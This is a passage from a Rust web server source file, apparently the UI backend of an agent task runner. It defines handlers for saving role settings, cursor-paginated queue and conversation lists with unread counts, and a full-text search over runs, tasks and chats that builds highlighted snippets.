5379/// `error`, so the screen can say so instead of drawing empty lists.
5380async fn settings_get(
5381    State(ui): State<Arc<Ui>>,
5382    Query(q): Query<SettingsQuery>,
5383) -> ApiResult<Json<settings::SettingsView>> {
5384    blocking(move || {
5385        let (repo, known) = settings_context(&ui, q)?;
5386        Ok(Json(settings::view_with_repos(
5387            &repo,
5388            ui.machine_config.as_deref(),
5389            &known,
5390        )))
5391    })
5392    .await
5393}
5394
5395/// The body of `PUT /api/settings/roles`.
5396#[derive(Debug, Deserialize)]
5397#[serde(deny_unknown_fields)]
5398struct RolesBody {
5399    /// The `revision` the client last read.
5400    revision: String,
5401    /// Role key to its new ids; an empty list resets the key to its default.
5402    #[serde(default)]
5403    roles: std::collections::BTreeMap<String, Vec<String>>,
5404    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5405    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5406    /// words (422) instead of as a deserialization error.
5407    #[serde(default)]
5408    counts: std::collections::BTreeMap<String, serde_json::Value>,
5409}
5410
5411/// `PUT /api/settings/roles` - save role assignments to the machine config.
5412///
5413/// The write target is `ui.machine_config` and nothing in the body can change
5414/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5415/// 422 with the reason in words.
5416async fn settings_put_roles(
5417    State(ui): State<Arc<Ui>>,
5418    Query(q): Query<SettingsQuery>,
5419    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5420) -> ApiResult<Json<settings::SettingsView>> {
5421    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5422    blocking(move || {
5423        let (repo, known) = settings_context(&ui, q)?;
5424        settings::save_with_repos(
5425            &repo,
5426            ui.machine_config.as_deref(),
5427            &body.revision,
5428            &body.roles,
5429            &body.counts,
5430            &known,
5431        )
5432        .map(Json)
5433        .map_err(|e| match e {
5434            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5435            settings::SaveError::Refused(m) => ApiError {
5436                text_reason: None,
5437                status: StatusCode::UNPROCESSABLE_ENTITY,
5438                message: m,
5439            },
5440            settings::SaveError::Internal(m) => ApiError::internal(m),
5441        })
5442    })
5443    .await
5444}
5445
5446async fn queue_list(
5447    State(ui): State<Arc<Ui>>,
5448    Query(q): Query<ListQuery>,
5449) -> ApiResult<Json<Vec<TaskView>>> {
5450    blocking(move || {
5451        let tasks = ui.queue.list();
5452        let inv =
5453            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5454        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5455        Ok(Json(
5456            tasks
5457                .into_iter()
5458                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5459                .map(|t| {
5460                    TaskView::with_inventory(t, &inv).with_admission(
5461                        &admission,
5462                        &ui.queue,
5463                        Some(&inv),
5464                        &ui.home,
5465                    )
5466                })
5467                .collect(),
5468        ))
5469    })
5470    .await
5471}
5472
5473/// History pages read a bounded number of records; the first conversation
5474/// page also includes every open talk. Cursors advance through a frozen snapshot,
5475/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5476/// Concurrent inserts are reconciled by a trailing store refresh.
5477#[derive(Debug, Default, Deserialize)]
5478struct PageQuery {
5479    before: Option<String>,
5480}
5481
5482#[derive(Serialize)]
5483struct StorePage<T> {
5484    rows: Vec<T>,
5485    next: Option<String>,
5486}
5487
5488const STORE_PAGE_SIZE: usize = 16;
5489
5490/// Freeze membership and the initial open/history boundary for a cursor walk.
5491/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5492/// the next store revision. Never rescan the entire directory for every page.
5493#[derive(Debug)]
5494struct ListWalk {
5495    token: u64,
5496    talks: bool,
5497    opened: std::time::Instant,
5498    ids: Arc<Vec<String>>,
5499    initial_end: usize,
5500}
5501
5502/// Read only the bounded goal header. Legacy layouts with goals after turns
5503/// are classified when their ordinary paginated row is loaded.
5504fn read_owner_goal(reader: impl std::io::Read) -> bool {
5505    use serde::de::{IgnoredAny, MapAccess, Visitor};
5506    struct Header<'a>(&'a mut bool);
5507    impl<'de> Visitor<'de> for Header<'_> {
5508        type Value = ();
5509        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5510            f.write_str("conversation goals")
5511        }
5512        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5513            while let Some(key) = map.next_key::<String>()? {
5514                if key == "turns" {
5515                    return Err(serde::de::Error::custom("transcript boundary"));
5516                }
5517                if key == "goals" {
5518                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5519                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5520                    return Err(serde::de::Error::custom("goals read"));
5521                }
5522                map.next_value::<IgnoredAny>()?;
5523            }
5524            Ok(())
5525        }
5526    }
5527    let mut owner = false;
5528    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5529    let mut json = serde_json::Deserializer::from_reader(reader);
5530    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5531    owner
5532}
5533
5534fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5535    page_ids_with(ui, talks, q, |ui, ids| {
5536        // A conversation owing the owner a decision is listed with the open
5537        // ones even when closed, so the Needs owner filter never depends on
5538        // walking closed history.
5539        let mut open = open_talk_ids(ui, ids);
5540        let inventory = chat_inventory(ui);
5541        let owing = inventory.needs_owner();
5542        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5543        let mut goals = ui
5544            .monitor
5545            .closed_goal_index
5546            .lock()
5547            .unwrap_or_else(PoisonError::into_inner);
5548        let present: HashSet<_> = ids.iter().collect();
5549        goals.retain(|id, _| present.contains(id));
5550        for id in ids {
5551            if open.contains(id) {
5552                continue;
5553            }
5554            let path = ui.talks.path_of(id);
5555            let identity = goal_identity(&path).ok();
5556            let owner = if let Some((old, owner)) = goals.get(id)
5557                && identity.as_ref() == Some(old)
5558            {
5559                *owner
5560            } else {
5561                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5562                if let Some(identity) = identity
5563                    && goal_identity(&path).is_ok_and(|after| after == identity)
5564                {
5565                    goals.insert(id.clone(), (identity, owner));
5566                }
5567                owner
5568            };
5569            if owner {
5570                open.insert(id.clone());
5571            }
5572        }
5573        open
5574    })
5575}
5576
5577fn page_ids_with(
5578    ui: &Ui,
5579    talks: bool,
5580    q: PageQuery,
5581    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5582) -> ApiResult<(Vec<String>, Option<String>)> {
5583    let mut walks = ui
5584        .monitor
5585        .list_walks
5586        .lock()
5587        .unwrap_or_else(PoisonError::into_inner);
5588    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5589    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5590        let (token, offset) = cursor
5591            .split_once(':')
5592            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5593        let token = token
5594            .parse::<u64>()
5595            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5596        let offset = offset
5597            .parse::<usize>()
5598            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5599        let walk = walks
5600            .iter()
5601            .find(|walk| walk.token == token && walk.talks == talks)
5602            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5603        (token, walk.ids.clone(), offset, walk.initial_end)
5604    } else {
5605        // Header I/O must not hold the snapshot registry shared with queue
5606        // pagination or with clients continuing an existing history walk.
5607        drop(walks);
5608        let root = if talks {
5609            ui.talks.root()
5610        } else {
5611            ui.queue.root()
5612        };
5613        let mut ids = crate::queue::record_ids(root, "json")?;
5614        ids.sort_unstable_by(|a, b| b.cmp(a));
5615        let initial_end = if talks {
5616            let open = classify(ui, &ids);
5617            // Stable partition: ID order is only the existing membership order,
5618            // never a substitute for the UI's creation-time ordering.
5619            ids.sort_by_key(|id| !open.contains(id));
5620            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5621        } else {
5622            STORE_PAGE_SIZE.min(ids.len())
5623        };
5624        let ids = Arc::new(ids);
5625        walks = ui
5626            .monitor
5627            .list_walks
5628            .lock()
5629            .unwrap_or_else(PoisonError::into_inner);
5630        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5631        let mut token = crate::rng::entropy();
5632        while walks.iter().any(|walk| walk.token == token) {
5633            token = crate::rng::entropy();
5634        }
5635        // Four clients can enumerate both stores and overlap a refresh. Bound
5636        // retained membership snapshots; an evicted cursor explicitly retries.
5637        if walks.len() >= 16 {
5638            walks.remove(0);
5639        }
5640        walks.push(ListWalk {
5641            token,
5642            talks,
5643            opened: std::time::Instant::now(),
5644            ids: ids.clone(),
5645            initial_end,
5646        });
5647        (token, ids, 0, initial_end)
5648    };
5649    if offset > ids.len() {
5650        return Err(ApiError::bad_request("Invalid list cursor"));
5651    }
5652    let end = if offset == 0 {
5653        initial_end
5654    } else {
5655        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5656    };
5657    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5658    Ok((ids[offset..end].to_vec(), next))
5659}
5660
5661async fn queue_page(
5662    State(ui): State<Arc<Ui>>,
5663    Query(q): Query<PageQuery>,
5664) -> ApiResult<Json<StorePage<TaskView>>> {
5665    blocking(move || {
5666        let (ids, next) = page_ids(&ui, false, q)?;
5667        let tasks: Vec<_> = ids
5668            .into_iter()
5669            .filter_map(|id| ui.queue.get(&id).ok())
5670            .collect();
5671        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5672        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5673        let rows = tasks
5674            .into_iter()
5675            .map(|task| {
5676                TaskView::with_inventory(task, &inv).with_admission(
5677                    &admission,
5678                    &ui.queue,
5679                    Some(&inv),
5680                    &ui.home,
5681                )
5682            })
5683            .collect();
5684        Ok(Json(StorePage { rows, next }))
5685    })
5686    .await
5687}
5688
5689/// Fixed-size wire projection. Agent timestamps stay in the server index so
5690/// exact unread counts do not require sending an ever-growing turn list.
5691#[derive(Debug, Clone, Serialize)]
5692struct TalkListView {
5693    title: Option<talk::ChatTitle>,
5694    id: String,
5695    repo: PathBuf,
5696    agent: String,
5697    status: talk::TalkStatus,
5698    turns: Vec<TalkListTurn>,
5699    turn_count: usize,
5700    unread_count: usize,
5701    context: talk::ContextUsage,
5702    #[serde(skip)]
5703    agent_times: Vec<Timestamp>,
5704    #[serde(skip)]
5705    goals: crate::chat_status::Goals,
5706    thinking: bool,
5707    /// Display-only triage state derived from durable evidence.
5708    chat_status: crate::chat_status::ChatStatus,
5709    created_at: Timestamp,
5710    updated_at: Timestamp,
5711}
5712
5713#[derive(Debug, Clone, Serialize)]
5714struct TalkListTurn {
5715    who: talk::Who,
5716    at: Timestamp,
5717    body: String,
5718}
5719
5720/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5721/// loop revisions so a list read never re-parses the stores unless one moved;
5722/// without a published revision (before the first scan) it is built per call.
5723fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5724    let unreadable = ui
5725        .monitor
5726        .chat_sources_unreadable
5727        .load(std::sync::atomic::Ordering::Acquire);
5728    let key = ui
5729        .monitor
5730        .latest
5731        .lock()
5732        .unwrap_or_else(PoisonError::into_inner)
5733        .as_ref()
5734        .map(|(revisions, _)| *revisions);
5735    if !unreadable
5736        && let Some(key) = key
5737        && let Some((cached, inventory)) = ui
5738            .monitor
5739            .chat_inventory
5740            .lock()
5741            .unwrap_or_else(PoisonError::into_inner)
5742            .as_ref()
5743        && *cached == key
5744    {
5745        return Arc::clone(inventory);
5746    }
5747    let tasks = ui.queue.list();
5748    let questions = ui.questions.list();
5749    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5750    if unreadable
5751        || crate::queue::record_ids(ui.queue.root(), "json")
5752            .map_or(true, |ids| ids.len() > tasks.len())
5753        || crate::queue::record_ids(ui.questions.root(), "json")
5754            .map_or(true, |ids| ids.len() > questions.len())
5755    {
5756        inventory.mark_unreadable();
5757    }
5758    let inventory = Arc::new(inventory);
5759    if !unreadable && let Some(key) = key {
5760        *ui.monitor
5761            .chat_inventory
5762            .lock()
5763            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5764    }
5765    inventory
5766}
5767
5768fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5769    let reads: HashMap<String, Timestamp> = headers
5770        .get("x-talk-reads")
5771        .and_then(|v| v.to_str().ok())
5772        .and_then(|v| serde_json::from_str(v).ok())
5773        .unwrap_or_default();
5774    let inventory = chat_inventory(ui);
5775    let mut index = ui
5776        .monitor
5777        .talk_index
5778        .lock()
5779        .unwrap_or_else(PoisonError::into_inner);
5780    // Bound memory independently of the number of conversations ever opened.
5781    if index.len() > 1000 {
5782        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5783        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5784        if index.len() > 1000 {
5785            index.retain(|id, _| keep.contains(id.as_str()));
5786        }
5787    }
5788    ids.into_iter()
5789        .filter_map(|id| {
5790            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5791            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5792                let talk = ui.talks.get(&id).ok()?;
5793                #[cfg(test)]
5794                ui.monitor
5795                    .talk_parses
5796                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5797                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5798                let last = talk.turns.len().checked_sub(1);
5799                let turns = talk
5800                    .turns
5801                    .iter()
5802                    .enumerate()
5803                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5804                    .map(|(_, t)| TalkListTurn {
5805                        who: t.who,
5806                        at: t.at,
5807                        body: t
5808                            .body
5809                            .lines()
5810                            .next()
5811                            .unwrap_or_default()
5812                            .chars()
5813                            .take(240)
5814                            .collect(),
5815                    })
5816                    .collect();
5817                let row = TalkListView {
5818                    title: talk.title.clone(),
5819                    agent_times: talk
5820                        .turns
5821                        .iter()
5822                        .filter(|t| t.who == talk::Who::Agent)
5823                        .map(|t| t.at)
5824                        .collect(),
5825                    turn_count: talk.turns.len(),
5826                    goals: crate::chat_status::Goals::of(&talk.goals),
5827                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5828                    unread_count: 0,
5829                    context: talk::context_usage(&talk, None),
5830                    turns,
5831                    thinking: false,
5832                    id: talk.id,
5833                    repo: talk.repo,
5834                    agent: talk.agent,
5835                    status: talk.status,
5836                    created_at: talk.created_at,
5837                    updated_at: talk.updated_at,
5838                };
5839                index.insert(id.clone(), (identity, row));
5840            }
5841            let row = &index.get(&id)?.1;
5842            let mut row = TalkListView {
5843                title: row.title.clone(),
5844                unread_count: row
5845                    .agent_times
5846                    .iter()
5847                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5848                    .count(),
5849                agent_times: Vec::new(),
5850                goals: row.goals,
5851                chat_status: row.chat_status.clone(),
5852                id: row.id.clone(),
5853                repo: row.repo.clone(),
5854                agent: row.agent.clone(),
5855                status: row.status,
5856                context: row.context.clone(),
5857                turns: row.turns.clone(),
5858                turn_count: row.turn_count,
5859                thinking: false,
5860                created_at: row.created_at,
5861                updated_at: row.updated_at,
5862            };
5863            // An idle resident omp session holds the lease and its worker job
5864            // stays active, yet nothing is being worked on.
5865            let resident_idle = talk::resident_idle(&ui.talks, &id);
5866            let turn_held = ui.talks.turn_held(&id) && !resident_idle;
5867            row.thinking = turn_held || (inventory.busy(&id) && !resident_idle);
5868            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5869            Some(row)
5870        })
5871        .collect()
5872}
5873
5874async fn talks_page(
5875    State(ui): State<Arc<Ui>>,
5876    Query(q): Query<PageQuery>,
5877    headers: header::HeaderMap,
5878) -> ApiResult<Json<StorePage<TalkListView>>> {
5879    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5880        let (ids, next) = page_ids(&ui, true, q)?;
5881        Ok(Json(StorePage {
5882            rows: talk_rows(&ui, ids, &headers),
5883            next,
5884        }))
5885    })
5886    .await
5887}
5888
5889async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5890    blocking(move || {
5891        let tasks = ui.indexed_tasks()?;
5892        Ok(Json(TaskCountsView::from(
5893            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5894        )))
5895    })
5896    .await
5897}
5898
5899/// Most hits one search returns. The rest are counted in `total`.
5900const SEARCH_MAX_HITS: usize = 100;
5901/// Longest query, in characters, and most terms it is split into.
5902const SEARCH_MAX_QUERY: usize = 200;
5903const SEARCH_MAX_TERMS: usize = 8;
5904/// Characters of context kept before the first hit, and after it.
5905const SNIPPET_BEFORE: usize = 50;
5906const SNIPPET_AFTER: usize = 110;
5907
5908/// `?scope=runs|tasks&q=...`
5909#[derive(Debug, Deserialize)]
5910struct SearchQuery {
5911    #[serde(default)]
5912    scope: String,
5913    #[serde(default)]
5914    q: String,
5915}
5916
5917/// One piece of a snippet. `hit` pieces are what matched; the client renders
5918/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5919#[derive(Debug, Serialize, PartialEq, Eq)]
5920struct SnippetPart {
5921    text: String,
5922    hit: bool,
5923}
5924
5925/// Position plus transcript evidence, without changing the saved chat schema.
5926#[derive(Debug, Serialize)]
5927struct ChatSearchTarget {
5928    turn: usize,
5929    message: usize,
5930    at: String,
5931    text: String,
5932}
5933
5934fn chat_text_key(body: &str) -> String {
5935    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5936        (hash ^ u32::from(c)).wrapping_mul(16777619)
5937    });
5938    format!("{hash:08x}:{}", body.chars().count())
5939}
5940
5941#[derive(Debug, Serialize)]
5942struct SearchHit {
5943    #[serde(skip_serializing_if = "Option::is_none")]
5944    target: Option<ChatSearchTarget>,
5945    id: String,
5946    /// The name of the field the snippet was cut from.
5947    field: String,
5948    snippet: Vec<SnippetPart>,
5949    /// The run's list row, so the page can apply its state / section / repo
5950    /// filters to a hit outside the loaded window. Absent for tasks and for a
5951    /// run record the list view cannot read.
5952    #[serde(skip_serializing_if = "Option::is_none")]
5953    run: Option<RunSummary>,
5954}
5955
5956#[derive(Debug, Serialize)]
5957struct SearchView {
5958    scope: String,
5959    q: String,
5960    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5961    hits: Vec<SearchHit>,
5962    /// Every match, hits beyond the cap included.
5963    total: usize,
5964    truncated: bool,
5965    /// Runs whose `run.json` could not be parsed at all. They were not
5966    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5967    unreadable: usize,
5968}
5969
5970/// The text leaves of a JSON document, with the name of the field each sits
5971/// under. Keys and numbers are skipped: they are structure, not prose.
5972fn text_leaves<'a>(
5973    value: &'a serde_json::Value,
5974    field: &'a str,
5975    out: &mut Vec<(&'a str, &'a str)>,
5976) {
5977    match value {
5978        serde_json::Value::String(s) => out.push((field, s)),
5979        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5980        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5981        _ => {}
5982    }
5983}
5984
5985/// Lower-case one character without changing how many there are, so indices
5986/// in the lowered text are indices in the original.
5987fn fold_char(c: char) -> char {
5988    c.to_lowercase().next().unwrap_or(c)
5989}
5990
5991/// Split a query into its lower-cased terms.
5992fn search_terms(q: &str) -> Vec<String> {
5993    let mut terms: Vec<String> = Vec::new();
5994    for t in q.split_whitespace() {
5995        let t = t.to_lowercase();
5996        if !terms.contains(&t) {
5997            terms.push(t);
5998        }
5999    }
6000    terms
6001}
6002
6003/// Match `terms` (all of them, anywhere in the document) against the leaves
6004/// and cut a snippet around the first hit. `None` when a term is missing.
6005fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
6006    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
6007    let mut first: Option<usize> = None;
6008    for term in terms {
6009        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
6010        first = Some(first.map_or(at, |f| f.min(at)));
6011    }
6012    // The leaf holding the earliest hit of any term is where the snippet is cut.
6013    let (field, text) = leaves[first?];
6014    Some(SearchHit {
6015        id: String::new(),
6016        target: None,
6017        field: field.to_owned(),
6018        snippet: snippet_of(text, terms),
6019        run: None,
6020    })
6021}
6022
6023/// A window of `text` around the first occurrence of any term, whitespace
6024/// collapsed, with every term occurrence inside the window marked.
6025fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
6026    let chars: Vec<char> = text.chars().collect();
6027    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
6028    let needles: Vec<Vec<char>> = terms
6029        .iter()
6030        .map(|t| t.chars().map(fold_char).collect())
6031        .collect();
6032    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
6033        let mut best: Option<(usize, usize)> = None;
6034        for n in needles.iter().filter(|n| !n.is_empty()) {
6035            // `to` bounds where a match may start; it may run past `to` (the
6036            // caller clips what it shows). A term longer than the field cannot
6037            // occur in it (it may live in another leaf of the document).
6038            if n.len() > chars.len() || to == 0 {
6039                continue;
6040            }
6041            let last = (to - 1).min(chars.len() - n.len());
6042            if from > last {
6043                continue;
6044            }
6045            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6046                && best.is_none_or(|(b, _)| i < b)
6047            {
6048                best = Some((i, i + n.len()));
6049            }
6050        }
6051        best
6052    };
6053    let Some((start, _)) = find(0, chars.len()) else {
6054        // Matched only through a case mapping that changes length: show the head.
6055        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6056        return vec![SnippetPart {
6057            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6058            hit: false,
6059        }];
6060    };
6061    let lo = start.saturating_sub(SNIPPET_BEFORE);
6062    let hi = (start + SNIPPET_AFTER).min(chars.len());
6063    let mut parts: Vec<SnippetPart> = Vec::new();
6064    let mut push = |s: &[char], hit: bool| {
6065        if s.is_empty() {
6066            return;
6067        }
6068        let text: String = s.iter().collect();
6069        match parts.last_mut() {
6070            Some(p) if p.hit == hit => p.text.push_str(&text),
6071            _ => parts.push(SnippetPart { text, hit }),
6072        }
6073    };
6074    if lo > 0 {
6075        push(&['\u{2026}'], false);
6076    }
6077    let mut at = lo;
6078    while at < hi {
6079        match find(at, hi) {
6080            Some((s, e)) => {
6081                push(&chars[at..s], false);
6082                // A match running past the window is shown up to its edge.
6083                let shown = e.min(hi);
6084                push(&chars[s..shown], true);
6085                at = shown;
6086            }
6087            None => {
6088                push(&chars[at..hi], false);
6089                at = hi;
6090            }
6091        }
6092    }
6093    if hi < chars.len() {
6094        push(&['\u{2026}'], false);
6095    }
6096    // Collapse whitespace (newlines in an instruction) without disturbing the
6097    // hit boundaries.
6098    let mut prev_space = false;
6099    for p in &mut parts {
6100        let mut out = String::with_capacity(p.text.len());
6101        for c in p.text.chars() {
6102            if c.is_whitespace() {
6103                if !prev_space {
6104                    out.push(' ');
6105                }
6106                prev_space = true;
6107            } else {
6108                out.push(c);
6109                prev_space = false;
6110            }
6111        }
6112        p.text = out;
6113    }
6114    parts.retain(|p| !p.text.is_empty());
6115    parts
6116}
6117
6118/// The search over `docs` (id, document), newest first, capped.
6119fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6120where
6121    I: IntoIterator<Item = (String, serde_json::Value)>,
6122{
6123    for (id, doc) in docs {
6124        let mut leaves = Vec::new();
6125        // The id is text an operator types too, and it is a map key on disk,
6126        // not a leaf.
6127        leaves.push(("id", id.as_str()));
6128        text_leaves(&doc, "", &mut leaves);
6129        if let Some(mut hit) = search_document(terms, &leaves) {
6130            view.total += 1;
6131            if view.hits.len() < SEARCH_MAX_HITS {
6132                hit.id = id;
6133                view.hits.push(hit);
6134            }
6135        }
6136    }
6137    view.truncated = view.total > view.hits.len();
6138}
6139
6140/// What a conversation is searched by: its list title and each turn's text,
6141/// under their sender labels so the snippet says who spoke. Nothing else
6142/// (session ids, repo paths, usage, drafts) is part of the document.
6143///
6144/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6145fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6146    let opener = talk
6147        .title
6148        .as_ref()
6149        .filter(|t| !t.text.is_empty())
6150        .map(|t| t.text.as_str())
6151        .or_else(|| {
6152            talk.turns
6153                .iter()
6154                .find(|t| t.who == talk::Who::Operator)
6155                .map(|t| t.body.as_str())
6156        })
6157        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6158        .unwrap_or("");
6159    let title: String = if opener.chars().count() > 96 {
6160        opener.chars().take(95).chain(['\u{2026}']).collect()
6161    } else {
6162        opener.to_owned()
6163    };
6164    let turns: Vec<serde_json::Value> = talk
6165        .turns
6166        .iter()
6167        .flat_map(|t| {
6168            let label = |message| match talk::sender(t, message) {
6169                talk::Sender::External => "external",
6170                _ => match t.who {
6171                    talk::Who::Operator => "operator",
6172                    talk::Who::Agent => "agent",
6173                },
6174            };
6175            if t.messages.is_empty() {
6176                vec![serde_json::json!({ label(None): t.body })]
6177            } else {
6178                t.messages
6179                    .iter()
6180                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6181                    .collect()
6182            }
6183        })
6184        .collect();
6185    serde_json::json!({ "title": title, "turns": turns })
6186}
6187
6188fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6189    let doc = talk_search_doc(talk);
6190    let mut leaves = vec![("id", talk.id.as_str())];
6191    text_leaves(&doc, "", &mut leaves);
6192    let mut hit = search_document(terms, &leaves)?;
6193    // Use exactly the leaf that supplied the snippet, including title/id hits.
6194    let leaf = leaves
6195        .iter()
6196        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6197    let messages: Vec<_> = talk
6198        .turns
6199        .iter()
6200        .enumerate()
6201        .flat_map(|(i, turn)| {
6202            let bodies: Vec<&str> = if turn.messages.is_empty() {
6203                vec![turn.body.as_str()]
6204            } else {
6205                turn.messages.iter().map(|m| m.body.as_str()).collect()
6206            };
6207            bodies
6208                .into_iter()
6209                .enumerate()
6210                .map(move |(j, body)| (i, j, turn, body))
6211        })
6212        .collect();
6213    let target = leaf
6214        .checked_sub(2)
6215        .and_then(|i| messages.get(i))
6216        .or_else(|| {
6217            // An unsaved title is the opener's first nonempty line, so its
6218            // snippet still identifies a transcript message. Saved titles do not.
6219            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6220                return None;
6221            }
6222            let (index, opener) = talk
6223                .turns
6224                .iter()
6225                .enumerate()
6226                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6227            let line = opener
6228                .body
6229                .lines()
6230                .map(str::trim)
6231                .find(|line| !line.is_empty())?;
6232            messages.iter().find(|(i, _, _, body)| {
6233                *i == index
6234                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6235            })
6236        });
6237    if let Some((i, j, turn, body)) = target {
6238        hit.target = Some(ChatSearchTarget {
6239            turn: *i,
6240            message: *j,
6241            at: turn.at.to_string(),
6242            text: chat_text_key(body),
6243        });
6244    }
6245    hit.id = talk.id.clone();
6246    Some(hit)
6247}
6248
6249/// Read-only full-text search over every run's `run.json`, every task or every
6250/// conversation (title and transcript).
6251///
6252/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6253/// record from an older schema still searches; only a file that is not JSON
6254/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6255async fn search_get(
6256    State(ui): State<Arc<Ui>>,
6257    Query(q): Query<SearchQuery>,
6258) -> ApiResult<Json<SearchView>> {
6259    let query = q.q.trim().to_owned();
6260    if query.is_empty() {
6261        return Err(ApiError::bad_request("q must not be empty"));
6262    }
6263    if query.chars().count() > SEARCH_MAX_QUERY {
6264        return Err(ApiError::bad_request(format!(
6265            "q is longer than {SEARCH_MAX_QUERY} characters"
6266        )));
6267    }
6268    let terms = search_terms(&query);
6269    if terms.len() > SEARCH_MAX_TERMS {
6270        return Err(ApiError::bad_request(format!(
6271            "q has more than {SEARCH_MAX_TERMS} terms"
6272        )));
6273    }
6274    let scope = q.scope;
6275    if scope != "runs" && scope != "tasks" && scope != "chats" {
6276        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6277    }
6278    blocking(move || {
6279        let mut view = SearchView {
6280            scope: scope.clone(),
6281            q: query,
6282            hits: Vec::new(),
6283            total: 0,
6284            truncated: false,
6285            unreadable: 0,
6286        };
6287        if scope == "runs" {
6288            let mut unreadable = 0;
6289            // One run.json is read, matched and dropped at a time; nothing
6290            // holds the whole history. The scan runs to the end even past the
6291            // hit cap so `total` and `unreadable` stay exact.
6292            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6293                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6294                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6295                    Some(v) => Some((id, v)),
6296                    None => {
6297                        unreadable += 1;
6298                        None
6299                    }
6300                }
6301            });
6302            search_docs(&terms, docs, &mut view);
6303            view.unreadable = unreadable;
6304            // Only the capped hits get a row: the filters need a run's state,
6305            // and reading every match would be the whole history again.
6306            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6307            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6308            for hit in &mut view.hits {
6309                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6310                    hit.run = summarize(
6311                        [state],
6312                        &open_runs,
6313                        &claimed,
6314                        &superseded,
